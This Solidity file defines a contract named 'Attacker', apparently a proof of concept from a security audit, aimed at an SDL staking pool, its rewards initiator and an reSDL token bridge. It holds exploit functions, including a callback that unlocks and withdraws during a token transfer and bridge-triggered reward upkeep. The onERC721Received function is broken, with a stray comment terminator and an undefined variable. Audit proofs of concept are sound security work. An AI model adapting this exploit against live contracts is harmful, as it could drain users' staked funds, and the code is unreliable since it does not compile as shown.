pragma solidity 0.8.15;
import{IERC677Receiver} from "../core/interfaces/IERC677Receiver.sol";
import{IERC721Receiver} from "../core/interfaces/IERC721Receiver.sol";
import{IERC677} from "../core/interfaces/IERC677.sol";
import{SDLPoolPrimary} from "../core/sdlPool/SDLPoolPrimary.sol";
import{RewardsInitiator} from "../core/RewardsInitiator.sol";
interface IRESDLTokenBridge{
function transferRESDL(
uint64 _destinationChainSelector,
address _receiver,
uint256 _tokenId,
bool _payNative,
uint256 _maxLINKFee
) external payable returns (bytes32 messageId);
}
contract Attacker is IERC677Receiver,IERC721Receiver{
struct Data {
address operator;
address from;
uint256 tokenId;
bytes data;
}
struct Lock {
uint256 amount;
uint256 boostAmount;
uint64 startTime;
uint64 duration;
uint64 expiry;
}
SDLPoolPrimary public sdlPool;
RewardsInitiator public rewardInitiator;
IRESDLTokenBridge public tokenBridge;
IERC677 public sdlToken;
uint256 public latestLockId;
uint256 public totalRewards;
Data[] private data;
bool public received;
constructor(address _sdlPool,address _tokenBridge,address _sdlToken,address _rewardsInitAddress)payable{
sdlPool=SDLPoolPrimary(_sdlPool);
tokenBridge=IRESDLTokenBridge(_tokenBridge);
sdlToken=IERC677(_sdlToken);
rewardInitiator=RewardsInitiator(_rewardsInitAddress);
}
function getData() external view returns (Data[] memory) {
return data;
}
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4) {
data.push(Data(_operator, _from, _tokenId, _data));
received=true;
sdlPool.initiateUnlock(_tokenId);
sdlPool.withdraw(_tokenId,effctiveBalance); */
return this.onERC721Received.selector;
}
function attackTransfernCall() public payable{
sdlToken.transferAndCall(address(sdlPool),1 ,abi.encode(uint256(0), uint64(1)));
}
function attackUpdateSame()public{
sdlToken.transferAndCall(address(sdlPool),1 ,abi.encode(getLockId(), uint64(1)));
}
function attackCcipTransfer() public payable{
tokenBridge.transferRESDL{value:15 ether}(77,address(this),getLockId(),true,15 ether);
}
function transferToself()public{
sdlPool.safeTransferFrom(address(this),address(this),getLockId());
}
function onTokenTransfer(
address,
uint256 _value,
bytes calldata
) external virtual {
totalRewards += _value;
}
function getLockId()public view returns(uint256){
uint256[] memory lockIDs= new uint256[](1);
lockIDs=sdlPool.getLockIdsByOwner(address(this));
return lockIDs[0];
}
function getTotalRewards() public view returns(uint256){
return totalRewards;
}
receive() external payable{
if(msg.sender==address(tokenBridge)){
(bool Isneed,bytes memory stratId)=rewardInitiator.checkUpkeep("0x0");
if(Isneed) rewardInitiator.performUpkeep(stratId);
}
}
}